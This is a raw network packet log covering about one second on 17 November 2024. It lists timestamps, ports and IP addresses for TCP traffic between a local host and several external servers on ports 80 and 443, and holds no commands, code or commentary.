Nov 17, 2024 12:35:33.459109068 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.459114075 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.459256887 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.459639072 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.459650993 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.460066080 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.460069895 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.507610083 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:33.507667065 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:33.507838011 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:33.508068085 CET	49835	443	192.168.2.5	13.107.246.57
Nov 17, 2024 12:35:33.508095026 CET	443	49835	13.107.246.57	192.168.2.5
Nov 17, 2024 12:35:33.547813892 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.548604965 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.548677921 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.549185038 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.549204111 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.559273005 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.559912920 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.559933901 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.560348034 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.560353041 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.567176104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567241907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.567260027 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567274094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567338943 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.567528009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567538977 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567559004 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567572117 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567580938 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.567584038 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567595959 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.567637920 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.567754030 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567765951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567775011 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.567804098 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.567831039 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.568111897 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.568160057 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.568161964 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.568171024 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.568200111 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.568224907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.568254948 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.568267107 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.568319082 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.571160078 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.571321011 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.571516037 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.571516037 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.571592093 CET	49829	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.571614027 CET	443	49829	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.574968100 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.575067997 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.575186968 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.575361013 CET	49836	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.575385094 CET	443	49836	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.589867115 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.590030909 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.590101957 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.590183973 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.590204954 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.590215921 CET	49828	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.590221882 CET	443	49828	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.593115091 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.593151093 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.593224049 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.593350887 CET	49837	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.593364954 CET	443	49837	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.599786043 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.600068092 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.600133896 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.600347996 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.600356102 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.600368023 CET	49830	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.600373030 CET	443	49830	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.603347063 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.603374958 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.603545904 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.603682041 CET	49838	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.603696108 CET	443	49838	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.636867046 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.636889935 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.636898994 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.636912107 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.636919975 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.636921883 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.636972904 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.636996031 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.637011051 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.637051105 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.674139977 CET	443	49834	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.675157070 CET	49834	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.675188065 CET	443	49834	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.675726891 CET	443	49834	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.676091909 CET	49834	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.676187038 CET	443	49834	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.676940918 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.677081108 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.677141905 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.677524090 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.677524090 CET	49832	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.677556992 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.677580118 CET	443	49832	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.678452969 CET	443	49833	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.678663015 CET	49833	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.678694963 CET	443	49833	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.679845095 CET	443	49833	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.680392027 CET	49833	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.680586100 CET	443	49833	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:33.682200909 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.682228088 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.682538033 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.682724953 CET	49839	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.682739019 CET	443	49839	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.685657978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.685671091 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.685707092 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.685786963 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.685798883 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.685811996 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.685841084 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.685877085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.685877085 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.685899973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.685997963 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.686316967 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.686371088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.686383009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.686482906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.686496973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.686526060 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.686568022 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.686901093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.686959982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.686973095 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.687068939 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.687086105 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.687093973 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.687100887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.687202930 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.692667007 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.692759991 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.692930937 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.697309971 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.697309971 CET	49831	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.697326899 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.697340965 CET	443	49831	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.709990978 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.710108995 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.710520029 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.710669041 CET	49840	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.710699081 CET	443	49840	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.752223015 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.752233028 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.752265930 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.752285004 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.752302885 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.752310991 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.752320051 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.752346992 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.752382040 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.804414988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804450989 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804461002 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804516077 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804527998 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804543018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.804543018 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.804657936 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804672003 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804672003 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.804693937 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.804707050 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.804760933 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.805182934 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805195093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805265903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.805265903 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.805289984 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805301905 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805351019 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.805571079 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805625916 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805638075 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805666924 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.805666924 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.805746078 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805757046 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.805793047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.805793047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.806166887 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.806179047 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.806190014 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.806238890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.806238890 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.814678907 CET	49834	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.814711094 CET	49833	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:33.869038105 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.869048119 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.869077921 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.869095087 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.869105101 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.869116068 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.869123936 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.869180918 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.932513952 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932528019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932540894 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932612896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.932612896 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.932652950 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932663918 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932708025 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932712078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.932739019 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932750940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932763100 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.932792902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.932792902 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.932816982 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.932991982 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933185101 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.933211088 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933223009 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933233023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933244944 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933257103 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933270931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933270931 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.933270931 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.933284044 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933295965 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:33.933341026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.933341026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:33.988734961 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.988744974 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.988775015 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.988789082 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.988802910 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:33.988811016 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:33.988888979 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.000473976 CET	49841	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.000567913 CET	443	49841	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.000720978 CET	49842	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.000762939 CET	49841	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.000793934 CET	443	49842	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.000854015 CET	49842	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.000931025 CET	49841	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.000967979 CET	443	49841	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.001069069 CET	49842	443	192.168.2.5	172.64.41.3
Nov 17, 2024 12:35:34.001101017 CET	443	49842	172.64.41.3	192.168.2.5
Nov 17, 2024 12:35:34.041810036 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.041856050 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.041914940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.041914940 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.043819904 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.043862104 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.043874979 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.043878078 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.043915033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.043915033 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.043952942 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.043965101 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.043977022 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.043996096 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044018984 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044114113 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044126987 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044224024 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044348001 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044359922 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044370890 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044409990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044409990 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044487000 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044498920 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044511080 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044521093 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.044524908 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044553041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044553041 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.044996023 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.045039892 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.045052052 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.045057058 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.045087099 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.045119047 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.045243979 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.103110075 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.103120089 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.103178024 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.103203058 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.103215933 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.103228092 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.103239059 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.103272915 CET	49825	443	192.168.2.5	13.107.246.45
Nov 17, 2024 12:35:34.337533951 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.337548971 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.337558985 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.337570906 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.337583065 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.337595940 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.337605953 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.337714911 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338150978 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338161945 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338171959 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338185072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338186026 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338196039 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338206053 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338217974 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338232994 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338236094 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338242054 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338244915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338244915 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338253021 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338263988 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338274956 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338304996 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338316917 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338325977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338325977 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338326931 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.338355064 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.338414907 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.340151072 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.340198040 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.341219902 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.341231108 CET	80	49778	185.215.113.206	192.168.2.5
Nov 17, 2024 12:35:34.341293097 CET	49778	80	192.168.2.5	185.215.113.206
Nov 17, 2024 12:35:34.341489077 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.341506004 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.341557026 CET	443	49825	13.107.246.45	192.168.2.5
Nov 17, 2024 12:35:34.341567039 CET	49825	443	192.168.2.5	13.107.246.45
